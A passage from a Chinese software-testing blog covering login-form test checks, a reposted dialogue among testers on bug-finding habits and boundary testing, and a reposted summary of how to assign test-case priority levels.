      验证用户名是否区分大小写。(有的软件是区分大小写的)

      验证必填项为空,是否允许进入。

      验证登录的次数是否有限制。从安全角度考虑,有些安全级别高的软件会考虑这方面的限制。
  • 测试经验交流(转)

    2011-04-25 09:33:03

    测试经验交流

    字体:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推荐标签: 软件测试

      测试进行一段时间后,大家发现阿毛报告的Bug 比较多,九条其次,小燕最少。阿亨让测试人员交流一下各自的经验。

      阿毛:我的原则是 “如果问题看起来像一个Bug,那我就要报告这个Bug”。宁可多报一千,也不放过一个。这个原则也导致了我的Bug 有不少被归为“As Design”。

      阿亨:“As Design”也不是什么坏事,至少我们明确了Design 是什么。这样以后就有依据了。

      小燕:我发现了一个问题,都是先跑去找开发人员商量是什么情况。或者自己研究,想找到问题的根源,有时自己想到如何修复,之后再报告Bug。

      九条:小燕的做法,似乎越界到了开发人员的职责范围了。我们的职责就是找到足够多的Bug,让开发人员有事可干。

      阿亨:可以选定一个典型用户(Persona),然后按照典型人物的思路和看问题的角度,把整个系统的各项功能都经历一遍。如果有什么你觉得典型用户不满意的,那就可以考虑开一个Bug。我有时知道这个功能的设计想法,但是在测试的时候没必要替别人考虑太多,要把自己当成用户,而不是设计者。

      阿毛:测试的时候,要各个角度都试试看,一些犄角旮旯也得用一些随机的数据去捣捣乱。黑箱、白箱都可以换着玩。就像对软件一窍不通的用户在使用软件一样。

      阿亨:阿毛的这一个经验,用正式的语言描述就是——保证测试方法的多样化。

      九条:我拿到一个测试任务,就想——这个功能最可能出问题的会是在什么地方?然后就集中火力,在容易出问题的地方测试。比如,如果一个产品的标题长度规定是32 个字符,那我就测试31、32、33 个字符,看看在这种边界条件下是否会出问题。

      阿毛:测试的时候还要举一反三,看到产品标题字段出了问题,我就会检查一下别的字段有没有类似的问题。

      阿亨:对,我们要注重从产品的风险出发,进行测试。还有,我们要根据当前的产品特性来决定测试的策略,不必强求一律,举一反三很重要。

      阿毛:有时候我测试自己负责的功能比较多了,就想和别人换一换,有点新鲜感。不料小燕拒绝了我的交换请求,说是没经过领导批准,是侵官之害。我只好和九条交换。

      阿亨:我批准这样的交换,关键是找到Bug。我们都是同一类工作人员,在事先通知和安排好的情况下,不存在“侵官之害”的问题。

      小燕:我发现随着Bug 的增多,我又要验证以前的Bug,又要发现新的Bug,工作量越来越大,你们都怎么办?

      九条:我一般都把一些比较稳定的测试写成自动测试,这样就减轻了我手工测试的压力。

  • 测试用例级别总结(转)

    2011-04-25 09:31:12

    测试用例级别总结

    字体:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推荐标签: 软件测试 测试用例

      看了几篇关于用例级别如何设定的文章, 总结总结吧。

      根据二八原则或者称数据统计,前20%的用例可以发现80%的重要BUG。

      当设计测试用例时,分配优先级非常不容易,且这个优先级也不是固定不变的。

      一般,我们会假设发现的bug的严重程度和bug对应的测试用例的优先级是平行的。

      1、最高(又称Build Verification tests)也叫冒烟测试用例,一组你运行以确定这个build版本是否可测的测试用例。

      2、高:这种用例运行,能发现重要的错误,或者它能够保证软件的功能是稳定的。俗称大的基本功能的测试用例

      3、中:检查功能的一些细节,包括边界,配置测试

      4、低:较少执行的测试用例,并不代表它不重要,而是说不是经常被运行。例如压力测试错误信息等。

      用例级别设置的流程:

      1、如果没有很多的时间来确定优先级,那么可以先大致的进行划分:

      把所有功能性验证的用例标注为高

      把边界值或错误能力的用例标注为中

      把非功能性和易用性的标注为低

      2、提升和降级

      针对1描述的所有高级别的功能性用例划分为重要和不十分重要两种,然后重要的保持高,不十分重要的降级为中。同理,对应中级别的用例,重要的进行升级,不十分重要的保持中。对应低级别的,重要的升级,不十分重要的保持。

      3、确定BVTs

      将高优先级的用例划分为严重和重要, 严重的将升级为bvts

      经过这个流程后,大致会控制bvt10% 高为25% 中55% 低10%

      具体还要结合具体的项目和质量目标确定。

Open Toolbar